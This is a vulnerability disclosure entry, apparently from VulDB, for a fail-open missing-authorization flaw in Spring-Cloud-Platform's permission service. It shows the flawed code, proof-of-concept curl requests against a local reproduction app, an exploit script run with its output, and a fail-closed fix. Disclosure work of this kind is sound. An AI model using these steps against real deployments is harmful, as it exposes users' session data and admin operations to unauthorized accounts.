| Title | wxiaoqi Spring-Cloud-Platform 3.0 Missing Authorization |
|---|
| Description | ### Summary
A fail-open authorization vulnerability in Spring-Cloud-Platform's `PermissionService.checkUserPermission()` allows any authenticated user (including lowest-privilege accounts) to access any API endpoint that is not explicitly registered in the permission database. The gateway sets `isAuth=true` when no permission rule matches the request URI, effectively treating unregistered routes as public. This enables unauthorized access to admin-only operations, session management endpoints, file upload, code generation, and all CRUD operations inherited from `BaseController`.
**CVSS 3.1 Base Score: 8.8 (High)** — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
### Details
**Affected Component:** `aceModules/ace-admin/.../rpc/service/PermissionService.java`
**Root Cause:** The gateway's permission check implements a **fail-open** model. When a request URI does not match any registered permission rule in the database, the method returns `isAuth=true`, allowing the request through:
```java
// PermissionService.java:264-277
public Mono<CheckPermissionInfo> checkUserPermission(String username,
String requestUri, String requestMethod) {
// Match requestUri against registered permissions
List<Map<String, Object>> matchPermission = ...;
if (matchPermission.size() == 0) {
// NO PERMISSION RULE MATCHES → FAIL OPEN
CheckPermissionInfo info = new CheckPermissionInfo();
info.setIsAuth(true); // ← ALLOWED! Should be false (default deny)
return Mono.just(info);
}
// ... check user's permissions against matched rule
}
```
This is called by `AccessGatewayFilter` (ace-gate) after JWT authentication succeeds:
```java
// AccessGatewayFilter.java — simplified flow
// 1. Verify JWT signature + expiry
IJWTInfo infoFromToken = userAuthUtil.getInfoFromToken(authToken);
// 2. Check Redis for active session
String s = stringRedisTemplate.opsForValue().get("admin:token:" + tokenId);
if (StringUtils.isBlank(s)) throw new UserTokenException("User token expired!");
// 3. Permission check (FAIL-OPEN for unregistered routes)
CheckPermissionInfo result = permissionServiceFeign.checkUserPermission(...);
if (!result.getIsAuth()) return Mono.error(new AccessDeniedException("forbidden"));
```
**Unregistered routes include:** `/online/**` (session management), `/oss/**` (file upload), `/service/**` (OAuth client management), `/code/generator/**` (code generation), `/search/**` (Lucene index), and all CRUD endpoints from `BaseController`.
### PoC
A reproduction application and automated PoC script are provided at `pocs/spring-cloud-platform/poc_failopen_authz/`.
**Prerequisites:**
- Java 17+, Maven, Redis (local or Docker)
- The reproduction app faithfully replicates `PermissionService` fail-open logic, `AccessGatewayFilter` JWT+Redis validation, and `OnlineController` endpoints
**Steps to reproduce:**
1. Build and run the reproduction app:
```bash
cd pocs/spring-cloud-platform/poc_failopen_authz
mvn -q package -DskipTests -f app/pom.xml
java -jar app/target/scp-failopen-poc-1.0.0.jar &
```
2. Login as a low-privilege user:
```bash
# Login as regular "user" (role=USER, minimal permissions)
curl -X POST http://localhost:19092/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"user","password":"user123"}'
# Returns: {"token":"eyJ...","username":"user","role":"USER"}
```
3. Access the admin-only `/online/page` endpoint with the low-privilege JWT:
```bash
# /online/page is NOT in the permission table → fail-open → 200 OK
curl http://localhost:19092/online/page?limit=10&offset=0 \
-H "Authorization: <user_token>"
# Returns: {"total":2,"rows":[{"tokenId":"...","userName":"admin","ipaddr":"...",...}]}
```
4. Run the automated PoC:
```bash
python3 exploit.py
```
**Expected output:**
```
[Step 5] SCP-VULN-1: Regular user accesses /online/page (NOT permitted)
[INFO] Response: HTTP 200
[PASS] FAIL-OPEN CONFIRMED: Regular user got 200 on /online/page
[INFO] Total sessions exposed: 2
```
The regular user receives HTTP 200 and can see all session data, including the admin's — despite having no permission for this endpoint.
### Impact
**Vulnerability type:** CWE-862 — Missing Authorization
**Who is impacted:** Any Spring-Cloud-Platform deployment with the default gateway configuration. Any authenticated user (including lowest-privilege accounts) can access any endpoint not explicitly registered in the permission database. This includes:
- **Confidentiality (C:H):** Full access to session management data (all users' tokenIds, IPs, usernames, browser fingerprints), file upload endpoints, OAuth client configurations, and all CRUD operations
- **Integrity (I:H):** Ability to modify, delete, or create resources through admin-only CRUD endpoints, upload arbitrary files, modify menu/permission configurations
- **Availability (A:H):** Ability to trigger force-logout on any user (including all administrators), delete search indexes, and disrupt services through admin-only destructive operations
**Remediation:** Change the default to fail-closed:
```java
if (matchPermission.size() == 0) {
info.setIsAuth(false); // Default DENY
return Mono.just(info);
}
```
|
|---|
| Source | ⚠️ https://github.com/wxiaoqi/Spring-Cloud-Platform/issues/64 |
|---|
| User | emiya (UID 100287) |
|---|
| Submission | 08/03/2026 07:45 (1 month ago) |
|---|
| Moderation | 09/12/2026 20:30 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 403176 [wxiaoqi Spring-Cloud-Platform 3.0.1/3.1.0 Permission Service PermissionService.java PermissionService.checkUserPermission authorization] |
|---|
| Points | 20 |
|---|